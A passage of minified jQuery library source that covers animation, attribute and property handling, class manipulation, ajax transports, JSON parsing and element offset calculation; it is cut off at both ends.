e=n.isEmptyObject(a),f=n.speed(b,c,d),g=function(){var b=lc(this,n.extend({},a),f);(e||n._data(this,\"finish\"))&&b.stop(!0)};return g.finish=g,e||f.queue===!1?this.each(g):this.queue(f.queue,g)},stop:function(a,b,c){var d=function(a){var b=a.stop;delete a.stop,b(c)};return\"string\"!=typeof a&&(c=b,b=a,a=void 0),b&&a!==!1&&this.queue(a||\"fx\",[]),this.each(function(){var b=!0,e=null!=a&&a+\"queueHooks\",f=n.timers,g=n._data(this);if(e)g[e]&&g[e].stop&&d(g[e]);else for(e in g)g[e]&&g[e].stop&&dc.test(e)&&d(g[e]);for(e=f.length;e--;)f[e].elem!==this||null!=a&&f[e].queue!==a||(f[e].anim.stop(c),b=!1,f.splice(e,1));(b||!c)&&n.dequeue(this,a)})},finish:function(a){return a!==!1&&(a=a||\"fx\"),this.each(function(){var b,c=n._data(this),d=c[a+\"queue\"],e=c[a+\"queueHooks\"],f=n.timers,g=d?d.length:0;for(c.finish=!0,n.queue(this,a,[]),e&&e.stop&&e.stop.call(this,!0),b=f.length;b--;)f[b].elem===this&&f[b].queue===a&&(f[b].anim.stop(!0),f.splice(b,1));for(b=0;g>b;b++)d[b]&&d[b].finish&&d[b].finish.call(this);delete c.finish})}}),n.each([\"toggle\",\"show\",\"hide\"],function(a,b){var c=n.fn[b];n.fn[b]=function(a,d,e){return null==a||\"boolean\"==typeof a?c.apply(this,arguments):this.animate(hc(b,!0),a,d,e)}}),n.each({slideDown:hc(\"show\"),slideUp:hc(\"hide\"),slideToggle:hc(\"toggle\"),fadeIn:{opacity:\"show\"},fadeOut:{opacity:\"hide\"},fadeToggle:{opacity:\"toggle\"}},function(a,b){n.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),n.timers=[],n.fx.tick=function(){var a,b=n.timers,c=0;for(_b=n.now();c<b.length;c++)a=b[c],a()||b[c]!==a||b.splice(c--,1);b.length||n.fx.stop(),_b=void 0},n.fx.timer=function(a){n.timers.push(a),a()?n.fx.start():n.timers.pop()},n.fx.interval=13,n.fx.start=function(){ac||(ac=setInterval(n.fx.tick,n.fx.interval))},n.fx.stop=function(){clearInterval(ac),ac=null},n.fx.speeds={slow:600,fast:200,_default:400},n.fn.delay=function(a,b){return a=n.fx?n.fx.speeds[a]||a:a,b=b||\"fx\",this.queue(b,function(b,c){var d=setTimeout(b,a);c.stop=function(){clearTimeout(d)}})},function(){var a,b,c,d,e=z.createElement(\"div\");e.setAttribute(\"className\",\"t\"),e.innerHTML=\" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>\",a=e.getElementsByTagName(\"a\")[0],c=z.createElement(\"select\"),d=c.appendChild(z.createElement(\"option\")),b=e.getElementsByTagName(\"input\")[0],a.style.cssText=\"top:1px\",l.getSetAttribute=\"t\"!==e.className,l.style=/top/.test(a.getAttribute(\"style\")),l.hrefNormalized=\"/a\"===a.getAttribute(\"href\"),l.checkOn=!!b.value,l.optSelected=d.selected,l.enctype=!!z.createElement(\"form\").enctype,c.disabled=!0,l.optDisabled=!d.disabled,b=z.createElement(\"input\"),b.setAttribute(\"value\",\"\"),l.input=\"\"===b.getAttribute(\"value\"),b.value=\"t\",b.setAttribute(\"type\",\"radio\"),l.radioValue=\"t\"===b.value,a=b=c=d=e=null}();var mc=/\\r/g;n.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=n.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,n(this).val()):a,null==e?e=\"\":\"number\"==typeof e?e+=\"\":n.isArray(e)&&(e=n.map(e,function(a){return null==a?\"\":a+\"\"})),b=n.valHooks[this.type]||n.valHooks[this.nodeName.toLowerCase()],b&&\"set\"in b&&void 0!==b.set(this,e,\"value\")||(this.value=e))});if(e)return b=n.valHooks[e.type]||n.valHooks[e.nodeName.toLowerCase()],b&&\"get\"in b&&void 0!==(c=b.get(e,\"value\"))?c:(c=e.value,\"string\"==typeof c?c.replace(mc,\"\"):null==c?\"\":c)}}}),n.extend({valHooks:{option:{get:function(a){var b=n.find.attr(a,\"value\");return null!=b?b:n.text(a)}},select:{get:function(a){for(var b,c,d=a.options,e=a.selectedIndex,f=\"select-one\"===a.type||0>e,g=f?null:[],h=f?e+1:d.length,i=0>e?h:f?e:0;h>i;i++)if(c=d[i],!(!c.selected&&i!==e||(l.optDisabled?c.disabled:null!==c.getAttribute(\"disabled\"))||c.parentNode.disabled&&n.nodeName(c.parentNode,\"optgroup\"))){if(b=n(c).val(),f)return b;g.push(b)}return g},set:function(a,b){var c,d,e=a.options,f=n.makeArray(b),g=e.length;while(g--)if(d=e[g],n.inArray(n.valHooks.option.get(d),f)>=0)try{d.selected=c=!0}catch(h){d.scrollHeight}else d.selected=!1;return c||(a.selectedIndex=-1),e}}}}),n.each([\"radio\",\"checkbox\"],function(){n.valHooks[this]={set:function(a,b){return n.isArray(b)?a.checked=n.inArray(n(a).val(),b)>=0:void 0}},l.checkOn||(n.valHooks[this].get=function(a){return null===a.getAttribute(\"value\")?\"on\":a.value})});var nc,oc,pc=n.expr.attrHandle,qc=/^(?:checked|selected)$/i,rc=l.getSetAttribute,sc=l.input;n.fn.extend({attr:function(a,b){return W(this,n.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){n.removeAttr(this,a)})}}),n.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(a&&3!==f&&8!==f&&2!==f)return typeof a.getAttribute===L?n.prop(a,b,c):(1===f&&n.isXMLDoc(a)||(b=b.toLowerCase(),d=n.attrHooks[b]||(n.expr.match.bool.test(b)?oc:nc)),void 0===c?d&&\"get\"in d&&null!==(e=d.get(a,b))?e:(e=n.find.attr(a,b),null==e?void 0:e):null!==c?d&&\"set\"in d&&void 0!==(e=d.set(a,c,b))?e:(a.setAttribute(b,c+\"\"),c):void n.removeAttr(a,b))},removeAttr:function(a,b){var c,d,e=0,f=b&&b.match(F);if(f&&1===a.nodeType)while(c=f[e++])d=n.propFix[c]||c,n.expr.match.bool.test(c)?sc&&rc||!qc.test(c)?a[d]=!1:a[n.camelCase(\"default-\"+c)]=a[d]=!1:n.attr(a,c,\"\"),a.removeAttribute(rc?c:d)},attrHooks:{type:{set:function(a,b){if(!l.radioValue&&\"radio\"===b&&n.nodeName(a,\"input\")){var c=a.value;return a.setAttribute(\"type\",b),c&&(a.value=c),b}}}}}),oc={set:function(a,b,c){return b===!1?n.removeAttr(a,c):sc&&rc||!qc.test(c)?a.setAttribute(!rc&&n.propFix[c]||c,c):a[n.camelCase(\"default-\"+c)]=a[c]=!0,c}},n.each(n.expr.match.bool.source.match(/\\w+/g),function(a,b){var c=pc[b]||n.find.attr;pc[b]=sc&&rc||!qc.test(b)?function(a,b,d){var e,f;return d||(f=pc[b],pc[b]=e,e=null!=c(a,b,d)?b.toLowerCase():null,pc[b]=f),e}:function(a,b,c){return c?void 0:a[n.camelCase(\"default-\"+b)]?b.toLowerCase():null}}),sc&&rc||(n.attrHooks.value={set:function(a,b,c){return n.nodeName(a,\"input\")?void(a.defaultValue=b):nc&&nc.set(a,b,c)}}),rc||(nc={set:function(a,b,c){var d=a.getAttributeNode(c);return d||a.setAttributeNode(d=a.ownerDocument.createAttribute(c)),d.value=b+=\"\",\"value\"===c||b===a.getAttribute(c)?b:void 0}},pc.id=pc.name=pc.coords=function(a,b,c){var d;return c?void 0:(d=a.getAttributeNode(b))&&\"\"!==d.value?d.value:null},n.valHooks.button={get:function(a,b){var c=a.getAttributeNode(b);return c&&c.specified?c.value:void 0},set:nc.set},n.attrHooks.contenteditable={set:function(a,b,c){nc.set(a,\"\"===b?!1:b,c)}},n.each([\"width\",\"height\"],function(a,b){n.attrHooks[b]={set:function(a,c){return\"\"===c?(a.setAttribute(b,\"auto\"),c):void 0}}})),l.style||(n.attrHooks.style={get:function(a){return a.style.cssText||void 0},set:function(a,b){return a.style.cssText=b+\"\"}});var tc=/^(?:input|select|textarea|button|object)$/i,uc=/^(?:a|area)$/i;n.fn.extend({prop:function(a,b){return W(this,n.prop,a,b,arguments.length>1)},removeProp:function(a){return a=n.propFix[a]||a,this.each(function(){try{this[a]=void 0,delete this[a]}catch(b){}})}}),n.extend({propFix:{\"for\":\"htmlFor\",\"class\":\"className\"},prop:function(a,b,c){var d,e,f,g=a.nodeType;if(a&&3!==g&&8!==g&&2!==g)return f=1!==g||!n.isXMLDoc(a),f&&(b=n.propFix[b]||b,e=n.propHooks[b]),void 0!==c?e&&\"set\"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&\"get\"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=n.find.attr(a,\"tabindex\");return b?parseInt(b,10):tc.test(a.nodeName)||uc.test(a.nodeName)&&a.href?0:-1}}}}),l.hrefNormalized||n.each([\"href\",\"src\"],function(a,b){n.propHooks[b]={get:function(a){return a.getAttribute(b,4)}}}),l.optSelected||(n.propHooks.selected={get:function(a){var b=a.parentNode;return b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex),null}}),n.each([\"tabIndex\",\"readOnly\",\"maxLength\",\"cellSpacing\",\"cellPadding\",\"rowSpan\",\"colSpan\",\"useMap\",\"frameBorder\",\"contentEditable\"],function(){n.propFix[this.toLowerCase()]=this}),l.enctype||(n.propFix.enctype=\"encoding\");var vc=/[\\t\\r\\n\\f]/g;n.fn.extend({addClass:function(a){var b,c,d,e,f,g,h=0,i=this.length,j=\"string\"==typeof a&&a;if(n.isFunction(a))return this.each(function(b){n(this).addClass(a.call(this,b,this.className))});if(j)for(b=(a||\"\").match(F)||[];i>h;h++)if(c=this[h],d=1===c.nodeType&&(c.className?(\" \"+c.className+\" \").replace(vc,\" \"):\" \")){f=0;while(e=b[f++])d.indexOf(\" \"+e+\" \")<0&&(d+=e+\" \");g=n.trim(d),c.className!==g&&(c.className=g)}return this},removeClass:function(a){var b,c,d,e,f,g,h=0,i=this.length,j=0===arguments.length||\"string\"==typeof a&&a;if(n.isFunction(a))return this.each(function(b){n(this).removeClass(a.call(this,b,this.className))});if(j)for(b=(a||\"\").match(F)||[];i>h;h++)if(c=this[h],d=1===c.nodeType&&(c.className?(\" \"+c.className+\" \").replace(vc,\" \"):\"\")){f=0;while(e=b[f++])while(d.indexOf(\" \"+e+\" \")>=0)d=d.replace(\" \"+e+\" \",\" \");g=a?n.trim(d):\"\",c.className!==g&&(c.className=g)}return this},toggleClass:function(a,b){var c=typeof a;return\"boolean\"==typeof b&&\"string\"===c?b?this.addClass(a):this.removeClass(a):this.each(n.isFunction(a)?function(c){n(this).toggleClass(a.call(this,c,this.className,b),b)}:function(){if(\"string\"===c){var b,d=0,e=n(this),f=a.match(F)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else(c===L||\"boolean\"===c)&&(this.className&&n._data(this,\"__className__\",this.className),this.className=this.className||a===!1?\"\":n._data(this,\"__className__\")||\"\")})},hasClass:function(a){for(var b=\" \"+a+\" \",c=0,d=this.length;d>c;c++)if(1===this[c].nodeType&&(\" \"+this[c].className+\" \").replace(vc,\" \").indexOf(b)>=0)return!0;return!1}}),n.each(\"blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu\".split(\" \"),function(a,b){n.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),n.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)},bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return 1===arguments.length?this.off(a,\"**\"):this.off(b,a||\"**\",c)}});var wc=n.now(),xc=/\\?/,yc=/(,)|(\\[|{)|(}|])|\"(?:[^\"\\\\\\r\\n]|\\\\[\"\\\\\\/bfnrt]|\\\\u[\\da-fA-F]{4})*\"\\s*:?|true|false|null|-?(?!0\\d)\\d+(?:\\.\\d+|)(?:[eE][+-]?\\d+|)/g;n.parseJSON=function(b){if(a.JSON&&a.JSON.parse)return a.JSON.parse(b+\"\");var c,d=null,e=n.trim(b+\"\");return e&&!n.trim(e.replace(yc,function(a,b,e,f){return c&&b&&(d=0),0===d?a:(c=e||b,d+=!f-!e,\"\")}))?Function(\"return \"+e)():n.error(\"Invalid JSON: \"+b)},n.parseXML=function(b){var c,d;if(!b||\"string\"!=typeof b)return null;try{a.DOMParser?(d=new DOMParser,c=d.parseFromString(b,\"text/xml\")):(c=new ActiveXObject(\"Microsoft.XMLDOM\"),c.async=\"false\",c.loadXML(b))}catch(e){c=void 0}return c&&c.documentElement&&!c.getElementsByTagName(\"parsererror\").length||n.error(\"Invalid XML: \"+b),c};var zc,Ac,Bc=/#.*$/,Cc=/([?&])_=[^&]*/,Dc=/^(.*?):[ \\t]*([^\\r\\n]*)\\r?$/gm,Ec=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Fc=/^(?:GET|HEAD)$/,Gc=/^\\/\\//,Hc=/^([\\w.+-]+:)(?:\\/\\/(?:[^\\/?#]*@|)([^\\/?#:]*)(?::(\\d+)|)|)/,Ic={},Jc={},Kc=\"*/\".concat(\"*\");try{Ac=location.href}catch(Lc){Ac=z.createElement(\"a\"),Ac.href=\"\",Ac=Ac.href}zc=Hc.exec(Ac.toLowerCase())||[];function Mc(a){return function(b,c){\"string\"!=typeof b&&(c=b,b=\"*\");var d,e=0,f=b.toLowerCase().match(F)||[];if(n.isFunction(c))while(d=f[e++])\"+\"===d.charAt(0)?(d=d.slice(1)||\"*\",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Nc(a,b,c,d){var e={},f=a===Jc;function g(h){var i;return e[h]=!0,n.each(a[h]||[],function(a,h){var j=h(b,c,d);return\"string\"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e[\"*\"]&&g(\"*\")}function Oc(a,b){var c,d,e=n.ajaxSettings.flatOptions||{};for(d in b)void 0!==b[d]&&((e[d]?a:c||(c={}))[d]=b[d]);return c&&n.extend(!0,a,c),a}function Pc(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while(\"*\"===i[0])i.shift(),void 0===e&&(e=a.mimeType||b.getResponseHeader(\"Content-Type\"));if(e)for(g in h)if(h[g]&&h[g].test(e)){i.unshift(g);break}if(i[0]in c)f=i[0];else{for(g in c){if(!i[0]||a.converters[g+\" \"+i[0]]){f=g;break}d||(d=g)}f=f||d}return f?(f!==i[0]&&i.unshift(f),c[f]):void 0}function Qc(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if(\"*\"===f)f=i;else if(\"*\"!==i&&i!==f){if(g=j[i+\" \"+f]||j[\"* \"+f],!g)for(e in j)if(h=e.split(\" \"),h[1]===f&&(g=j[i+\" \"+h[0]]||j[\"* \"+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a[\"throws\"])b=g(b);else try{b=g(b)}catch(l){return{state:\"parsererror\",error:g?l:\"No conversion from \"+i+\" to \"+f}}}return{state:\"success\",data:b}}n.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Ac,type:\"GET\",isLocal:Ec.test(zc[1]),global:!0,processData:!0,async:!0,contentType:\"application/x-www-form-urlencoded; charset=UTF-8\",accepts:{\"*\":Kc,text:\"text/plain\",html:\"text/html\",xml:\"application/xml, text/xml\",json:\"application/json, text/javascript\"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:\"responseXML\",text:\"responseText\",json:\"responseJSON\"},converters:{\"* text\":String,\"text html\":!0,\"text json\":n.parseJSON,\"text xml\":n.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Oc(Oc(a,n.ajaxSettings),b):Oc(n.ajaxSettings,a)},ajaxPrefilter:Mc(Ic),ajaxTransport:Mc(Jc),ajax:function(a,b){\"object\"==typeof a&&(b=a,a=void 0),b=b||{};var c,d,e,f,g,h,i,j,k=n.ajaxSetup({},b),l=k.context||k,m=k.context&&(l.nodeType||l.jquery)?n(l):n.event,o=n.Deferred(),p=n.Callbacks(\"once memory\"),q=k.statusCode||{},r={},s={},t=0,u=\"canceled\",v={readyState:0,getResponseHeader:function(a){var b;if(2===t){if(!j){j={};while(b=Dc.exec(f))j[b[1].toLowerCase()]=b[2]}b=j[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return 2===t?f:null},setRequestHeader:function(a,b){var c=a.toLowerCase();return t||(a=s[c]=s[c]||a,r[a]=b),this},overrideMimeType:function(a){return t||(k.mimeType=a),this},statusCode:function(a){var b;if(a)if(2>t)for(b in a)q[b]=[q[b],a[b]];else v.always(a[v.status]);return this},abort:function(a){var b=a||u;return i&&i.abort(b),x(0,b),this}};if(o.promise(v).complete=p.add,v.success=v.done,v.error=v.fail,k.url=((a||k.url||Ac)+\"\").replace(Bc,\"\").replace(Gc,zc[1]+\"//\"),k.type=b.method||b.type||k.method||k.type,k.dataTypes=n.trim(k.dataType||\"*\").toLowerCase().match(F)||[\"\"],null==k.crossDomain&&(c=Hc.exec(k.url.toLowerCase()),k.crossDomain=!(!c||c[1]===zc[1]&&c[2]===zc[2]&&(c[3]||(\"http:\"===c[1]?\"80\":\"443\"))===(zc[3]||(\"http:\"===zc[1]?\"80\":\"443\")))),k.data&&k.processData&&\"string\"!=typeof k.data&&(k.data=n.param(k.data,k.traditional)),Nc(Ic,k,b,v),2===t)return v;h=k.global,h&&0===n.active++&&n.event.trigger(\"ajaxStart\"),k.type=k.type.toUpperCase(),k.hasContent=!Fc.test(k.type),e=k.url,k.hasContent||(k.data&&(e=k.url+=(xc.test(e)?\"&\":\"?\")+k.data,delete k.data),k.cache===!1&&(k.url=Cc.test(e)?e.replace(Cc,\"$1_=\"+wc++):e+(xc.test(e)?\"&\":\"?\")+\"_=\"+wc++)),k.ifModified&&(n.lastModified[e]&&v.setRequestHeader(\"If-Modified-Since\",n.lastModified[e]),n.etag[e]&&v.setRequestHeader(\"If-None-Match\",n.etag[e])),(k.data&&k.hasContent&&k.contentType!==!1||b.contentType)&&v.setRequestHeader(\"Content-Type\",k.contentType),v.setRequestHeader(\"Accept\",k.dataTypes[0]&&k.accepts[k.dataTypes[0]]?k.accepts[k.dataTypes[0]]+(\"*\"!==k.dataTypes[0]?\", \"+Kc+\"; q=0.01\":\"\"):k.accepts[\"*\"]);for(d in k.headers)v.setRequestHeader(d,k.headers[d]);if(k.beforeSend&&(k.beforeSend.call(l,v,k)===!1||2===t))return v.abort();u=\"abort\";for(d in{success:1,error:1,complete:1})v[d](k[d]);if(i=Nc(Jc,k,b,v)){v.readyState=1,h&&m.trigger(\"ajaxSend\",[v,k]),k.async&&k.timeout>0&&(g=setTimeout(function(){v.abort(\"timeout\")},k.timeout));try{t=1,i.send(r,x)}catch(w){if(!(2>t))throw w;x(-1,w)}}else x(-1,\"No Transport\");function x(a,b,c,d){var j,r,s,u,w,x=b;2!==t&&(t=2,g&&clearTimeout(g),i=void 0,f=d||\"\",v.readyState=a>0?4:0,j=a>=200&&300>a||304===a,c&&(u=Pc(k,v,c)),u=Qc(k,u,v,j),j?(k.ifModified&&(w=v.getResponseHeader(\"Last-Modified\"),w&&(n.lastModified[e]=w),w=v.getResponseHeader(\"etag\"),w&&(n.etag[e]=w)),204===a||\"HEAD\"===k.type?x=\"nocontent\":304===a?x=\"notmodified\":(x=u.state,r=u.data,s=u.error,j=!s)):(s=x,(a||!x)&&(x=\"error\",0>a&&(a=0))),v.status=a,v.statusText=(b||x)+\"\",j?o.resolveWith(l,[r,x,v]):o.rejectWith(l,[v,x,s]),v.statusCode(q),q=void 0,h&&m.trigger(j?\"ajaxSuccess\":\"ajaxError\",[v,k,j?r:s]),p.fireWith(l,[v,x]),h&&(m.trigger(\"ajaxComplete\",[v,k]),--n.active||n.event.trigger(\"ajaxStop\")))}return v},getJSON:function(a,b,c){return n.get(a,b,c,\"json\")},getScript:function(a,b){return n.get(a,void 0,b,\"script\")}}),n.each([\"get\",\"post\"],function(a,b){n[b]=function(a,c,d,e){return n.isFunction(c)&&(e=e||d,d=c,c=void 0),n.ajax({url:a,type:b,dataType:e,data:c,success:d})}}),n.each([\"ajaxStart\",\"ajaxStop\",\"ajaxComplete\",\"ajaxError\",\"ajaxSuccess\",\"ajaxSend\"],function(a,b){n.fn[b]=function(a){return this.on(b,a)}}),n._evalUrl=function(a){return n.ajax({url:a,type:\"GET\",dataType:\"script\",async:!1,global:!1,\"throws\":!0})},n.fn.extend({wrapAll:function(a){if(n.isFunction(a))return this.each(function(b){n(this).wrapAll(a.call(this,b))});if(this[0]){var b=n(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&1===a.firstChild.nodeType)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){return this.each(n.isFunction(a)?function(b){n(this).wrapInner(a.call(this,b))}:function(){var b=n(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=n.isFunction(a);return this.each(function(c){n(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){n.nodeName(this,\"body\")||n(this).replaceWith(this.childNodes)}).end()}}),n.expr.filters.hidden=function(a){return a.offsetWidth<=0&&a.offsetHeight<=0||!l.reliableHiddenOffsets()&&\"none\"===(a.style&&a.style.display||n.css(a,\"display\"))},n.expr.filters.visible=function(a){return!n.expr.filters.hidden(a)};var Rc=/%20/g,Sc=/\\[\\]$/,Tc=/\\r?\\n/g,Uc=/^(?:submit|button|image|reset|file)$/i,Vc=/^(?:input|select|textarea|keygen)/i;function Wc(a,b,c,d){var e;if(n.isArray(b))n.each(b,function(b,e){c||Sc.test(a)?d(a,e):Wc(a+\"[\"+(\"object\"==typeof e?b:\"\")+\"]\",e,c,d)});else if(c||\"object\"!==n.type(b))d(a,b);else for(e in b)Wc(a+\"[\"+e+\"]\",b[e],c,d)}n.param=function(a,b){var c,d=[],e=function(a,b){b=n.isFunction(b)?b():null==b?\"\":b,d[d.length]=encodeURIComponent(a)+\"=\"+encodeURIComponent(b)};if(void 0===b&&(b=n.ajaxSettings&&n.ajaxSettings.traditional),n.isArray(a)||a.jquery&&!n.isPlainObject(a))n.each(a,function(){e(this.name,this.value)});else for(c in a)Wc(c,a[c],b,e);return d.join(\"&\").replace(Rc,\"+\")},n.fn.extend({serialize:function(){return n.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=n.prop(this,\"elements\");return a?n.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!n(this).is(\":disabled\")&&Vc.test(this.nodeName)&&!Uc.test(a)&&(this.checked||!X.test(a))}).map(function(a,b){var c=n(this).val();return null==c?null:n.isArray(c)?n.map(c,function(a){return{name:b.name,value:a.replace(Tc,\"\\r\\n\")}}):{name:b.name,value:c.replace(Tc,\"\\r\\n\")}}).get()}}),n.ajaxSettings.xhr=void 0!==a.ActiveXObject?function(){return!this.isLocal&&/^(get|post|head|put|delete|options)$/i.test(this.type)&&$c()||_c()}:$c;var Xc=0,Yc={},Zc=n.ajaxSettings.xhr();a.ActiveXObject&&n(a).on(\"unload\",function(){for(var a in Yc)Yc[a](void 0,!0)}),l.cors=!!Zc&&\"withCredentials\"in Zc,Zc=l.ajax=!!Zc,Zc&&n.ajaxTransport(function(a){if(!a.crossDomain||l.cors){var b;return{send:function(c,d){var e,f=a.xhr(),g=++Xc;if(f.open(a.type,a.url,a.async,a.username,a.password),a.xhrFields)for(e in a.xhrFields)f[e]=a.xhrFields[e];a.mimeType&&f.overrideMimeType&&f.overrideMimeType(a.mimeType),a.crossDomain||c[\"X-Requested-With\"]||(c[\"X-Requested-With\"]=\"XMLHttpRequest\");for(e in c)void 0!==c[e]&&f.setRequestHeader(e,c[e]+\"\");f.send(a.hasContent&&a.data||null),b=function(c,e){var h,i,j;if(b&&(e||4===f.readyState))if(delete Yc[g],b=void 0,f.onreadystatechange=n.noop,e)4!==f.readyState&&f.abort();else{j={},h=f.status,\"string\"==typeof f.responseText&&(j.text=f.responseText);try{i=f.statusText}catch(k){i=\"\"}h||!a.isLocal||a.crossDomain?1223===h&&(h=204):h=j.text?200:404}j&&d(h,i,j,f.getAllResponseHeaders())},a.async?4===f.readyState?setTimeout(b):f.onreadystatechange=Yc[g]=b:b()},abort:function(){b&&b(void 0,!0)}}}});function $c(){try{return new a.XMLHttpRequest}catch(b){}}function _c(){try{return new a.ActiveXObject(\"Microsoft.XMLHTTP\")}catch(b){}}n.ajaxSetup({accepts:{script:\"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\"},contents:{script:/(?:java|ecma)script/},converters:{\"text script\":function(a){return n.globalEval(a),a}}}),n.ajaxPrefilter(\"script\",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type=\"GET\",a.global=!1)}),n.ajaxTransport(\"script\",function(a){if(a.crossDomain){var b,c=z.head||n(\"head\")[0]||z.documentElement;return{send:function(d,e){b=z.createElement(\"script\"),b.async=!0,a.scriptCharset&&(b.charset=a.scriptCharset),b.src=a.url,b.onload=b.onreadystatechange=function(a,c){(c||!b.readyState||/loaded|complete/.test(b.readyState))&&(b.onload=b.onreadystatechange=null,b.parentNode&&b.parentNode.removeChild(b),b=null,c||e(200,\"success\"))},c.insertBefore(b,c.firstChild)},abort:function(){b&&b.onload(void 0,!0)}}}});var ad=[],bd=/(=)\\?(?=&|$)|\\?\\?/;n.ajaxSetup({jsonp:\"callback\",jsonpCallback:function(){var a=ad.pop()||n.expando+\"_\"+wc++;return this[a]=!0,a}}),n.ajaxPrefilter(\"json jsonp\",function(b,c,d){var e,f,g,h=b.jsonp!==!1&&(bd.test(b.url)?\"url\":\"string\"==typeof b.data&&!(b.contentType||\"\").indexOf(\"application/x-www-form-urlencoded\")&&bd.test(b.data)&&\"data\");return h||\"jsonp\"===b.dataTypes[0]?(e=b.jsonpCallback=n.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,h?b[h]=b[h].replace(bd,\"$1\"+e):b.jsonp!==!1&&(b.url+=(xc.test(b.url)?\"&\":\"?\")+b.jsonp+\"=\"+e),b.converters[\"script json\"]=function(){return g||n.error(e+\" was not called\"),g[0]},b.dataTypes[0]=\"json\",f=a[e],a[e]=function(){g=arguments},d.always(function(){a[e]=f,b[e]&&(b.jsonpCallback=c.jsonpCallback,ad.push(e)),g&&n.isFunction(f)&&f(g[0]),g=f=void 0}),\"script\"):void 0}),n.parseHTML=function(a,b,c){if(!a||\"string\"!=typeof a)return null;\"boolean\"==typeof b&&(c=b,b=!1),b=b||z;var d=v.exec(a),e=!c&&[];return d?[b.createElement(d[1])]:(d=n.buildFragment([a],b,e),e&&e.length&&n(e).remove(),n.merge([],d.childNodes))};var cd=n.fn.load;n.fn.load=function(a,b,c){if(\"string\"!=typeof a&&cd)return cd.apply(this,arguments);var d,e,f,g=this,h=a.indexOf(\" \");return h>=0&&(d=a.slice(h,a.length),a=a.slice(0,h)),n.isFunction(b)?(c=b,b=void 0):b&&\"object\"==typeof b&&(f=\"POST\"),g.length>0&&n.ajax({url:a,type:f,dataType:\"html\",data:b}).done(function(a){e=arguments,g.html(d?n(\"<div>\").append(n.parseHTML(a)).find(d):a)}).complete(c&&function(a,b){g.each(c,e||[a.responseText,b,a])}),this},n.expr.filters.animated=function(a){return n.grep(n.timers,function(b){return a===b.elem}).length};var dd=a.document.documentElement;function ed(a){return n.isWindow(a)?a:9===a.nodeType?a.defaultView||a.parentWindow:!1}n.offset={setOffset:function(a,b,c){var d,e,f,g,h,i,j,k=n.css(a,\"position\"),l=n(a),m={};\"static\"===k&&(a.style.position=\"relative\"),h=l.offset(),f=n.css(a,\"top\"),i=n.css(a,\"left\"),j=(\"absolute\"===k||\"fixed\"===k)&&n.inArray(\"auto\",[f,i])>-1,j?(d=l.position(),g=d.top,e=d.left):(g=parseFloat(f)||0,e=parseFloat(i)||0),n.isFunction(b)&&(b=b.call(a,c,h)),null!=b.top&&(m.top=b.top-h.top+g),null!=b.left&&(m.left=b.left-h.left+e),\"using\"in b?b.using.call(a,m):l.css(m)}},n.fn.extend({offset:function(a){if(arguments.length)return void 0===a?this:this.each(function(b){n.offset.setOffset(this,a,b)});var b,c,d={top:0,left:0},e=this[0],f=e&&e.ownerDocument;if(f)return b=f.documentElement,n.contains(b,e)?(typeof e.getBoundingClientRect!==L&&(d=e.getBoundingClientRect()),c=ed(f),{top:d.top+(c.pageYOffset||b.scrollTop)-(b.clientTop||0),left:d.left+(c.pageXOffset||b.scrollLeft)-(b.clientLeft||0)}):d},position:function(){if(this[0]){var a,b,c={top:0,left:0},d=this[0];return\"fixed\"===n.css(d,\"position\")?b=d.getBoundingClientRect():(a=this.offsetParent(),b=this.offset(),n.nodeName(a[0],\"html\")||(c=a.offset()),c.top+=n.css(a[0],\"borderTopWidth\",!0),c.left+=n.css(a[0],\"borderLeftWidth\",!0)),{top:b.top-c.top-n.css(d,\"marginTop\",!0),left:b.left-c.left-n.css(d,\"marginLeft\",!0)}}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||dd;while(a&&!n.nodeName(a,\"html\")&&\"static\"===n.css(a,\"position\"))a=a.offsetParent;return 